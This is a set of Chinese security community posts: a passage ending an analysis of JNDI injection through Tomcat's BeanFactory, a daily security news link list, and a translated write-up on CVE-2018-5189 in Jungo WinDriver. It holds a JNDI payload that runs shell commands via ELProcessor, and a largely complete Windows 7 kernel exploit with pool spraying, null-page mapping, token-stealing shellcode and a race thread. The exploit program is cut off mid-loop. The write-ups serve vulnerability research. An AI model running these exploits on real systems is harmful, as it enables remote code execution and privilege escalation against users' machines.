这里首先会在本地的CLASSPATH里找这个factoryName，如果找到了，后续就不用进行远程加载。所以如果本地可以找到一个可利用的factory，也能突破JNDI的远程加载的限制。
前面的文章中提到了tomcat（或glassfish）中的BeanFactory的利用，来分析一下
首先在后续的调用中，factory的getObjectInstance函数将会被调用
// ref 为我们传入的Reference 可控
// name 为factory的name，这里就是我们自己伪造的*EvilObj* 可控
factory.getObjectInstance(ref, name, nameCtx, environment);
来看一下BeanFactory中getObjectInstance函数的实现，函数有点长，我们挑重点看
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl =
Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);// 载入指定class
} catch(ClassNotFoundException e) {
}
} else {
try {
beanClass = Class.forName(beanClassName);// 载入指定class
} catch(ClassNotFoundException e) {
e.printStackTrace();
}
}
// ...
// ...
Object bean = beanClass.newInstance();// 实例化
先看这部分代码，当前我们传入的Reference必须是ResourceRef对象，并在后续加载ResourceRef的beanClass和shilihuanewInstance进行(而这里的class我们可以在赋值时随意指定)。
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
String value;
if (ra != null) {
value = (String)ra.getContent();
// ...
/* Items are given as comma separated list */
for (String param: value.split(",")) {
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {// 如果内容中存在=，提取=后面的字符串作为函数名
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
try {
forced.put(param,
beanClass.getMethod(setterName, paramTypes));
} // ...
}
}
ReferenceRef存在着可控的键值对关系，通过`get`函数获得，如上述代码`ref.get("forceString")`将会获得forceString相对应的RefAddr，通过调用RefAddr的getContent函数就可以获得forceString键对应的值。
这里需要注意的是，当forceString对应的内容中存在`=`时，将截取`=`后面的字符串作为后续调用的函数名。这意味着我们可以任意指定当前对象的类函数了。force键值对中将包含`=`前面的内容和相应的Method对象。例如`test=eval`,最终我们将得到eval的Method对象
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
/* Shortcut for properties with explicitly configured setter */
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
} catch (IllegalAccessException|
IllegalArgumentException|
InvocationTargetException ex) {
throw new NamingException
("Forced String setter " + method.getName() +
" threw exception for property " + propName);
}
continue;
}
`ref.getAll`获取了所有的RefAddr，对于非`Constants.FACTORY/scope/auth/forceString/singleton`且前文又获取相应的Method对象时，我们将调用该对象，其函数参数为此时RefAddr的内容。比如存在一个RefAddr的type为`test`，将调用前面的`eval`的Method对象。
到这里，我们就完成了一次反射调用，来看看poc
// payload from kingx
ResourceRef ref = new ResourceRef(
"javax.el.ELProcessor",// bean class
null, "", "",
true,"org.apache.naming.factory.BeanFactory",// factory class
null);
ref.add(new StringRefAddr("forceString", "KINGX=eval"));// eval函数Method对象将会被调用
ref.add(new StringRefAddr("KINGX",
""".getClass().forName("javax.script.ScriptEngineManager")" +
".newInstance().getEngineByName("JavaScript")" +
".eval("new java.lang.ProcessBuilder['(java.lang.String[])'](" +
"['/bin/sh','-c','"+ command +"'])" +
".start()")"));// eval函数的参数为上述执行命令的el语句
## 0x05 总结
前面对JNDI with RMI做了一些简单的介绍，当遇到可控的JNDI lookup函数，我们可以发起JNDI链接到RMI服务上，利用JNDI
Naming Manager的远程codebase加载机制载入任意的bytecodes。
当然，前面的利用方式仅在JDK8u113、JDK6u132,、JDK7u122版本之前，如果遇到了高版本的JDK，我们可以尝试利用本地CLASSPATH中可利用的反序列化利用链，或者是tomcat环境下的可利用的ObjectFactory。
在后续可利用的本地Factory这个思路上，原文作者kingx提出或许其他的中间件环境也可能存在这种可利用的ObjectFactory，这里立个flag，以后有空了一定要找找XD | 社区文章 |
# 6月4日安全热点 - 二手手机泄露隐私：网上1毛钱一条卖机主信息
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞 Vulnerability
CVE-2018-11481:多款TP-LINK产品远程代码执行安全漏洞
<http://t.cn/R1QBE0X>
CVE-2018-11625：ImageMagick 堆缓冲区溢出漏洞
<http://t.cn/R1QBElv>
CVE-2018-11598：Espruino jsparse.c拒绝服务漏洞
<http://t.cn/R1QBEjW>
CVE-2018-1370:IBM Security Guardium Big Data Intelligence关键资源权限分配漏洞
<http://t.cn/R1QBETd>
## 安全研究 Security Research
Windows 10 内核漏洞利用防护及其绕过方法
<http://t.cn/R1QBEVK>
如何通过HTTP参数污染绕过RECAPTCHA
<http://t.cn/R1QBEIG>
浅谈最近流行的三起区块链51%算力攻击
<http://t.cn/R1J2LJF>
MEWKit：Cryptotheft的最新武器
<http://t.cn/R165AWE>
## 安全资讯 Security Information
微软或收购代码托管平台GitHub:价格或高达50亿美元
<http://t.cn/R10pGFV>
十大无线黑客工具
<http://t.cn/R1QBE6K>
光大惊现提额大漏洞，获利者是中介，一小时狂赚40万！
<http://t.cn/R1QBEaC>
在线票务网站Ticketfly因遭受攻击全面下线
<http://t.cn/R1QBEKl>
健身应用程序 PumpUp 泄露健康数据以及私人消息
<http://t.cn/R1NXmWa>
二手手机泄露隐私：网上1毛钱一条卖机主信息
<http://t.cn/R1VebK1>
## 恶意软件 Malware
对近期Iron组织的恶意软件分析
<http://t.cn/R1awma0>
一种新型的廉价恶意软件——“夜贼”
<http://t.cn/R1CmUjy>
DDG.Mining.Botnet 近期活动分析
<http://t.cn/R1QBEqM>
预警：Linux.BackDoor.Xnote.1最新变种来袭
<http://t.cn/R1QBEtu> | 社区文章 |
# Jungo Windriver中的代码执行漏洞（CVE-2018-5189）分析（下）
##### 译文声明
本文是翻译文章，文章原作者 Fidus InfoSecurity，文章来源：fidusinfosec.com
原文地址：<https://www.fidusinfosec.com/jungo-windriver-code-execution-cve-2018-5189/>
译文仅供参考，具体内容表达以及含义原文为准。
## 传送门
[Jungo
Windriver中的代码执行漏洞（CVE-2018-5189）分析（上）](https://www.anquanke.com/post/id/94526)
## 写在前面的话
本系列文章的上集里，我们给大家介绍了有关漏洞CVE-2018-5189利用代码开发过程的前期准备工作以及进行方式，接下来在这篇文章中，我们将解决之前所遇到的一些问题，并给大家提供PoC的完善思路，然后给大家提供最后完整的漏洞利用代码。除此之外，我们还会给大家介绍针对该漏洞的漏洞修复方案。
## 漏洞研究
在开发针对漏洞CVE-2018-5189的利用代码时，有几点非常重要的东西需要关注。首先最重要的就是要记住，我们能够控制内核池的分配空间大小（我们传递过去的大小为(size
– 1) * 0xa + 0x48）。而池喷射的基本模式如下：
1. 一直不断地重复创建相同大小的对象；
2. 释放随机位置的特定大小对象，并创建空白区域；
触发调用包含漏洞的驱动程序，并填充分配给内核池的空白区域；
在进行了多次尝试之后，我们决定使用Event对象来实现我们的目标。下面给出的函数可以完成内核池喷射，然后填充大量的Event对象，并在随机位置创建空白区域（大小为0x380字节）。
void spray_pool(HANDLE handle_arr[])
{
//create SPRAY_SIZE event objects filling up the pool
for (int i = 0; i < SPRAY_SIZE; i++)
{
handle_arr[i] = CreateEvent(NULL, 0, NULL, L””);
}
//create holes in the pool of size 0x380
for (int i = 0; i < SPRAY_SIZE; i+=50)
{
for (int j = 0; j < 14 && j + i < SPRAY_SIZE; j++)
{
CloseHandle(handle_arr[j + i]);
}
}
}
接下来，我们在进入main函数的while循环之前来调用这个函数，并且得到了程序的崩溃信息。我们对内核池页面进行了检查并再次触发了崩溃，最终我们成功地按照之前所设定的大小完成了缓冲区的内存分配任务
* Fatal System Error: 0x00000019
(0x00000020,0x861306C0,0x86130A40,0x08700008)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
nt!RtlpBreakWithStatusInstruction:
82ab5a38 cc int 3
0: kd> !poolpage 0x861306C0
walking pool page @ 86130000
Addr A/F BlockSize PreviousSize PoolIndex PoolType Tag
86130000: InUse 0040 (008) 0000 (000) 00 02 Eve.
86130040: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130080: InUse 0040 (008) 0040 (008) 00 02 Eve.
861300c0: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130100: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130140: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130180: InUse 0040 (008) 0040 (008) 00 02 Eve.
861301c0: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130200: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130240: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130280: InUse 0040 (008) 0040 (008) 00 02 Eve.
861302c0: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130300: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130340: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130380: InUse 0040 (008) 0040 (008) 00 02 Eve.
861303c0: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130400: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130440: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130480: InUse 0040 (008) 0040 (008) 00 02 Eve.
861304c0: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130500: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130540: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130580: InUse 0040 (008) 0040 (008) 00 02 Eve.
861305c0: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130600: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130640: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130680: InUse 0040 (008) 0040 (008) 00 02 Eve.
*861306c0: Free 0380 (070) 0040 (008) 00 04 RDW. —- here
86130a40: InUse 0040 (008) 0000 (000) 00 02 Eve.
86130a80: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130ac0: InUse 0040 (008) 0040 (008) 00 02 Eve.
这也就意味着，我们可以完全控制想要中断的下一个对象。这样一来，我们也就解决了之前所遇到的前两个问题了。那么接下来，我们就要搞清楚如何利用Event对象来实现代码执行了。
正如我们之前所提到的那样，我们可以使用typeIndex重写方法。为此，我们对Event对象进行了分析，并发现了一些可能的切入点：``
kd>; dt nt!_POOL_HEADER 8514fac0
+0x000 PreviousSize : 0y010001100 (0x8c)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001000 (0x8)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x408008c —- here
+0x004 PoolTag : 0xee657645 — here
+0x004 AllocatorBackTraceIndex : 0x7645
+0x006 PoolTagHash : 0xee65
kd>; dt nt!_OBJECT_HEADER_QUOTA_INFO 8545f8c0+8 ;+8 to skip past pool header
+0x000 PagedPoolCharge : 0
+0x004 NonPagedPoolCharge : 0x40
+0x008 SecurityDescriptorCharge : 0
+0x00c SecurityDescriptorQuotaBlock : (null)
kd> dt nt!_OBJECT_HEADER 8545f8c0+8+10 ;skip past pool header and Quota info
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree : 0x00000001 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0xc ‘’
+0x00d TraceFlags : 0 ‘’
+0x00e InfoMask : 0x8 ‘’
+0x00f Flags : 0 ‘’
+0x010 ObjectCreateInfo : 0x867b3940 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x867b3940 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD
There are a few values here that we need to keep to stop us from blue-screening. We need to fix the previousSize value to 0x380 (the size of the RDW pool buffer), and then keep all of the other values except the TypeIndex. The TypeIndex is an index into an array of pointers that describes the type of the chunk [4]:
<code>1: kd> dd nt!ObTypeIndexTable
82b7dee0 00000000 bad0b0b0 84b43360 84b43298
82b7def0 84b4af78 84b4ad48 84b4ac08 84b4ab40
82b7df00 84b4aa78 84b4a9b0 84b4a8e8 84b4a7e8
82b7df10 84c131d0 84bf7900 84bf7838 84bf7770
82b7df20 84c0f9c8 84c0f900 84c0f838 84c039c8
82b7df30 84c03900 84c03838 84bef9c8 84bef900
82b7df40 84bef838 84bcb5e0 84bcb518 84bcb450
82b7df50 84bc3c90 84bc34f0 84bc3428 84c0df78如果我们将TypeIndex的值重写为0，那么对象object将会尝试在一个空页面中寻找对应的OBJECT_TYPE信息。0: kd> dt nt!_OBJECT_TYPE 86eb7000 .
+0x000 TypeList : [ 0x80000 - 0xee657645 ]
+0x000 Flink : 0x00080000 _LIST_ENTRY
+0x004 Blink : 0xee657645 _LIST_ENTRY
+0x008 Name : “瀈蛫倈蔔???”
+0x000 Length : 0x8008
+0x002 MaximumLength : 0x86ea
+0x004 ReadVirtual: 82b70938 not properly sign extended
Buffer : 0x82b70938 “瀈蛫倈蔔???”
+0x010 DefaultObject :
+0x014 Index : 0 ‘’
+0x018 TotalNumberOfObjects : 0
+0x01c TotalNumberOfHandles : 0
+0x020 HighWaterNumberOfObjects : 0
+0x024 HighWaterNumberOfHandles : 0x80001
+0x028 TypeInfo :
<…Snip…>
+0x00c GenericMapping : _GENERIC_MAPPING
+0x01c ValidAccessMask : 0xee657645
+0x020 RetainAccess : 0
+0x024 PoolType : 0x40 (No matching name)
+0x028 DefaultPagedPoolCharge : 0
+0x02c DefaultNonPagedPoolCharge : 0
+0x030 DumpProcedure : 0x00000001 void +1
+0x034 OpenProcedure : 0x00000001 long +1
+0x038 CloseProcedure : (null)
+0x03c DeleteProcedure : 0x0008000c void +8000c
+0x040 ParseProcedure : 0x86dd0d80 long +ffffffff86dd0d80
+0x044 SecurityProcedure : (null)
+0x048 QueryNameProcedure : 0x00040001 long +40001
+0x04c OkayToCloseProcedure : (null)
<…Snip…>别忘了，我们的测试平台使用的是Windows 7，所以我们可以映射一个空白页面来创建我们自己的OkayToClose过程。接下来，我们要做的第一件事情就是修改我们的用户空间缓冲区，并让其包含正确的值：//pool header block
(ULONG )(user_buff + 0x374) = 0x04080070; //ULONG1
(ULONG )(user_buff + 0x378) = 0xee657645;//PoolTag
//QuotaInfo block
(ULONG )(user_buff + 0x37c) = 0x00000000; //PagedPoolCharge
(ULONG )(user_buff + 0x380) = 0x00000040; //NonPagedPoolCharge
(ULONG )(user_buff + 0x384) = 0x00000000; //SecurityDescriptorCharge
(ULONG )(user_buff + 0x388) = 0x00000000; //SecurityDescriptorQuotaBlock
//Event header block
(ULONG )(user_buff + 0x38c) = 0x00000001; //PointerCount
(ULONG )(user_buff + 0x390) = 0x00000001; //HandleCount
(ULONG )(user_buff + 0x394) = 0x00000000; //NextToFree
(ULONG )(user_buff + 0x398) = 0x00080000; //TypeIndex <—- NULL POINTER
(ULONG )(user_buff + 0x39c) = 0x867b3940; //objecteCreateInfo
(ULONG )(user_buff + 0x400) = 0x00000000;
(ULONG )(user_buff + 0x404) = 0x867b3940; //QuotaBlockCharged为了更好地控制溢出，我们还需要弄清楚具体的大小值，我们现在拥有的缓冲区大小为0x378字节（其中有8个字节是内核池Header），而我们需要的是让下一个Event对象溢出。而这样一来，我们就需要实现0x40字节的溢出了，即0x378+0x40 = 0x3b8，别忘了在分配内核池大小的时候修改分配值，(0x3b8 – 0x48) / 0x0a = 0x58。
接下来，我们还需要释放发生崩溃的对象，这一步可以通过关闭所有的处理进程来实现。错误检测信息如下所示：Access violation - code c0000005 (!!! second chance !!!)
nt!MmInitializeProcessAddressSpace+0xc6:
82c5e520 837b7400 cmp dword ptr [ebx+74h],0
0: kd> r
eax=c6239b40 ebx=00000000 ecx=00000000 edx=872aab58 esi=872aab58 edi=84c3c498
eip=82c5e520 esp=be363ba0 ebp=be363bdc iopl=0 nv up ei ng nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010282
nt!MmInitializeProcessAddressSpace+0xc6:
82c5e520 837b7400 cmp dword ptr [ebx+74h],0 ds:0023:00000074=????????
可能一眼看去有些难理解，因为ebx为空，而它却在寻找0x74的值。我们对edx进行分析后发现，Event对象直接出现在了溢出后的缓冲区中：
872aa7c0: Free 0380 (070) 0040 (008) 00 00 RDW.
*872aab40: InUse 0040 (008) 0380 (070) 00 02 Eve.
872aab80: Free 0040 (008) 0040 (008) 00 04 Eve.
0: kd> dd 872aab40
872aab40 04080070 ee657645 00000000 00000040
872aab50 00000000 00000000 00000001 00000001
872aab60 00000000 00080000 867b3940 00000000
872aab70 00000000 00000000 872aab78 872aab78需要注意的是，TypeIndex已经被我们成功重写了，而这将会让内核在0x74寻找okayToCloseProcedure。那么现在，我们就非常接近成功了，而接下来要做的就是映射一个空白页面，然后放置一个指向我们所需要执行的函数指针（在内核模式下）。下面给出的函数可以帮助我们实现目标：BOOL map_null_page()
{
/ Begin NULL page map /
HMODULE hmodule = LoadLibraryA(“ntdll.dll”);
if (hmodule == INVALID_HANDLE_VALUE)
{
printf(“[x] Couldn’t get handle to ntdll.dlln”);
return FALSE;
}
PNtAllocateVirtualMemory AllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hmodule, “NtAllocateVirtualMemory”);
if (AllocateVirtualMemory == NULL)
{
printf(“[x] Couldn’t get address of NtAllocateVirtualMemoryn”);
return FALSE;
}
SIZE_T size = 0x1000;
PVOID address = (PVOID)0x1;
NTSTATUS allocStatus = AllocateVirtualMemory(GetCurrentProcess(),
&address,
0,
&size,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (allocStatus != 0)
{
printf(“[x] Error mapping null pagen”);
return FALSE;
}
printf(“[+] Mapped null pagen”);
return TRUE;
}接下来，我们在偏移量0x74存储一个0x41414141值，而种种迹象表明，我们是可以控制eip的：* Symbol Path validation summary **
Response Time (ms) Location
Deferred SRVC:symbolshttp://msdl.microsoft.com/download/symbols
Access violation - code c0000005 (!!! second chance !!!)
41414141 ?? ???
既然现在我们已经可以控制代码执行了，那我们就需要想办法提升我们的权限，然后在不引起程序崩溃的情况下实现攻击。最标准的一种方法就是使用窃取令牌的Shellcode来窃取SYSTEM令牌。这里需要注意的一点是，我们必须考虑到入栈以及返回的参数数量。
我们可以看到，在调用我们的Shellcode(ebx+0x74)之前，ObpQueryNameString向栈中推入了16字节数据：
nt!ObpQueryNameString+0x433:
82c60555 ff7518 push dword ptr [ebp+18h]
82c60558 ff7514 push dword ptr [ebp+14h]
82c6055b ff74241c push dword ptr [esp+1Ch]
82c6055f ff7510 push dword ptr [ebp+10h]
82c60562 ff5374 call dword ptr [ebx+74h]一开始，我们在运行完Shellcode之后一直遇到蓝屏问题，我们需要使用_declspec(naked)来声明函数才可以解决。经过精简修改后的代码如下所示：// Windows 7 SP1 x86 Offsets
define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
define SYSTEM_PID 0x004 // SYSTEM Process PID
/*
The caller expects to call a cdecl function with 4 (0x10 bytes) arguments.
*/
declspec(naked) VOID TokenStealingShellcode() {
asm {
; initialize
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current _EPROCESS structure
mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
; begin system token search loop
SearchSystemPID :
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM to current process
End :
ret 0x10; cleanup for cdecl
}
}设置了断点之后，我们就可以了解到Shellcode在运行过程中遇到了哪些问题，我们所收集到的警告信息如下所示：Break instruction exception - code 80000003 (first chance) 00f61790 cc int 3 0: kd> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 b7827b88 82c60565 85407d28 857bef30 0001c34c 0xf61790
01 b7827bdc 82c6043f bdd0fc48 c5fa0698 85407d28 nt!ObpQueryNameString+0x443
<…Snip…`
其中，0x00f61790是令牌窃取Shellcode函数的地址，所以我们现在已经可以控制eip了。
但是现在还有一个问题，即我们的程序会卡在一个无限循环之中，所以我们需要想办法升级我们的凭证，然后解决这个无限循环的问题。为此，我们可以在Shellcode中设置一些值，然后在while循环中来检测这些值（当作循环条件）。最终，我们决定使用GetTokenInformation函数。具体的处理过程如下所示：
1. 使用OpenProcessToken来获取当前令牌处理进程的控制器；
2. 调用GetTokenInformation函数，获取需要的大小值；
3. 在堆内存中为结构体PTOKEN_PRIVILEGES分配空间；
读取PTOKEN_PRIVILEGES->PrivilegeCoun的值；
下面给出的代码可以阐述整个过程：这样一来，我们就可以拿到带有SYSTEM权限的Shell了：
完整的代码
完整的代码我们在下面给出了，但是这里还需要注意两个问题。首先，Shellcode中的初始命令会检测所有需要运行的函数，而这里有可能会出现意外的内核模式Bug。其次，在While循环的每一次迭代过程中，我们需要重置用户模式缓冲区。
// ConsoleApplication1.cpp : Defines the entry point for the console application.
//
include “stdafx.h”
include <Windows.h>
include <winioctl.h>
define device L”\.WINDRVR1251”
define SPRAY_SIZE 30000
typedef NTSTATUS(WINAPI PNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);
// Windows 7 SP1 x86 Offsets
define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
define SYSTEM_PID 0x004 // SYSTEM Process PID
/*
The caller expects to call a cdecl function with 4 (0x10 bytes) arguments.
*/
declspec(naked) VOID TokenStealingShellcode() {
asm {
hasRun:
xor eax, eax; Set zero
cmp byte ptr [eax], 1; If this is 1, we have already run this code
jz End;
mov byte ptr [eax], 1; Indicate that this code has been hit already
; initialize
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current _EPROCESS structure
mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
; begin system token search loop
SearchSystemPID :
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM to current process
End :
ret 0x10; cleanup for cdecl
}
}
BOOL map_null_page()
{
/ Begin NULL page map /
HMODULE hmodule = LoadLibraryA(“ntdll.dll”);
if (hmodule == INVALID_HANDLE_VALUE)
{
printf(“[x] Couldn’t get handle to ntdll.dlln”);
return FALSE;
}
PNtAllocateVirtualMemory AllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hmodule, “NtAllocateVirtualMemory”);
if (AllocateVirtualMemory == NULL)
{
printf(“[x] Couldn’t get address of NtAllocateVirtualMemoryn”);
return FALSE;
}
SIZE_T size = 0x1000;
PVOID address = (PVOID)0x1;
NTSTATUS allocStatus = AllocateVirtualMemory(GetCurrentProcess(),
&address,
0,
&size,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (allocStatus != 0)
{
printf("[x] Error mapping null pagen");
return FALSE;
}
printf("[+] Mapped null pagen");
return TRUE;
}
/*
Continually flip the size
@Param user_size - a pointer to the user defined size
*/
DWORD WINAPI flip_thread(LPVOID user_size)
{
printf(“[+] Flipping thread startedn”);
while (TRUE)
{
*(ULONG *)(user_size) ^= 10; //flip between 0x52 and 0x58, giving a 0x40 byte overflow.
}
return 0;
}
DWORD WINAPI ioctl_thread(LPVOID user_buff)
{
char out_buff[40];
DWORD bytes_returned;
HANDLE hdevice = CreateFile(device,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
);
if (hdevice == INVALID_HANDLE_VALUE)
{
printf("[x] Couldn't open devicen");
}
NTSTATUS ret = DeviceIoControl(hdevice,
0x95382623,
user_buff,
0x1000,
out_buff,
40,
&bytes_returned,
0);
CloseHandle(hdevice);
return 0;
}
void spray_pool(HANDLE handle_arr[])
{
//create SPRAY_SIZE event objects filling up the pool
for (int i = 0; i < SPRAY_SIZE; i++)
{
handle_arr[i] = CreateEvent(NULL, 0, NULL, L””);
}
for (int i = 0; i < SPRAY_SIZE; i+=50)
{
for (int j = 0; j < 14 && j + i < SPRAY_SIZE; j++)
{
CloseHandle(handle_arr[j + i]);
handle_arr[j + i] = 0;
}
}
}
void free_events(HANDLE handle_arr[])
{
for (int i = 0; i < SPRAY_SIZE; i++)
{
if (handle_arr[i] != 0)
{
CloseHandle(handle_arr[i]);
}
}
}
BOOL check_priv_count(DWORD old_count, PDWORD updated_count)
{
HANDLE htoken;
DWORD length;
DWORD temp;
DWORD new_count;
PTOKEN_PRIVILEGES current_priv = NULL;
if (!OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &htoken))
{
printf("[x] Couldn't get current tokenn");
return FALSE;
}
//get the size required for the current_priv allocation
GetTokenInformation(htoken, TokenPrivileges, current_priv, 0, &length);
//allocate memory for the structure
current_priv = (PTOKEN_PRIVILEGES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length);
//get the actual token info
GetTokenInformation(htoken, TokenPrivileges, current_priv, length, &length);
new_count = current_priv->PrivilegeCount;
HeapFree(GetProcessHeap(), 0, current_priv);
CloseHandle(htoken);
temp = old_count; //store the old count
*updated_count = new_count; //update the count
if (new_count > old_count)
{
printf("[+] We now have %d privilegesn", new_count);
return TRUE;
}
else
return FALSE;
}
int main()
{
HANDLE h_flip_thread;
HANDLE h_ioctl_thread;
HANDLE handle_arr[SPRAY_SIZE] = { 0 };
DWORD mask = 0;
DWORD orig_priv_count = 0;
char *user_buff;
check_priv_count(-1, &orig_priv_count);
printf("[+] Original priv count: %dn", orig_priv_count);
if (!map_null_page())
{
return -1;
}
*(ULONG *)0x74 = (ULONG)&TokenStealingShellcode;
user_buff = (char *)VirtualAlloc(NULL,
0x1000,
MEM_COMMIT | MEM_RESERVE,
PAGE_NOCACHE | PAGE_READWRITE);
if (user_buff == NULL)
{
printf("[x] Couldn't allocate memory for buffern");
return -1;
}
memset(user_buff, 0x41, 0x1000);
*(ULONG *)(user_buff + 0x34) = 0x00000052; //set the size initially to 0x51
//pool header block
*(ULONG *)(user_buff + 0x374) = 0x04080070; //ULONG1
*(ULONG *)(user_buff + 0x378) = 0xee657645;//PoolTag
//QuotaInfo block
*(ULONG *)(user_buff + 0x37c) = 0x00000000; //PagedPoolCharge
*(ULONG *)(user_buff + 0x380) = 0x00000040; //NonPagedPoolCharge
*(ULONG *)(user_buff + 0x384) = 0x00000000; //SecurityDescriptorCharge
*(ULONG *)(user_buff + 0x388) = 0x00000000; //SecurityDescriptorQuotaBlock
//Event header block
*(ULONG *)(user_buff + 0x38c) = 0x00000001; //PointerCount
*(ULONG *)(user_buff + 0x390) = 0x00000001; //HandleCount
*(ULONG *)(user_buff + 0x394) = 0x00000000; //NextToFree
*(ULONG *)(user_buff + 0x398) = 0x00080000; //TypeIndex <--- NULL POINTER
*(ULONG *)(user_buff + 0x39c) = 0x867b3940; //objecteCreateInfo
*(ULONG *)(user_buff + 0x400) = 0x00000000;
*(ULONG *)(user_buff + 0x404) = 0x867b3940; //QuotaBlockCharged
/*
* create a suspended thread for flipping, passing in a pointer to the size at user_buff+0x34
* Set its priority to highest.
* Set its mask so that it runs on a particular core.
*/
h_flip_thread = CreateThread(NULL, 0, flip_thread, user_buff + 0x34, CREATE_SUSPENDED, 0);
SetThreadPriority(h_flip_thread, THREAD_PRIORITY_HIGHEST);
SetThreadAffinityMask(h_flip_thread, 0);
ResumeThread(h_flip_thread);
printf("[+] Starting race...n");
spray_pool(handle_arr);
while (TRUE)
{
h_ioctl_thread = CreateThread(NULL, 0, ioctl_thread, user_buff, CREATE_SUSPENDED, 0);
SetThreadPriority(h_ioctl_thread, THREAD_PRIORITY_HIGHEST);
SetThreadAffinityMask(h_ioctl_thread, 1);
ResumeThread(h_ioctl_thread);
WaitForSingleObject(h_ioctl_thread, INFINITE);
free_events(handle_arr); //free the event objects
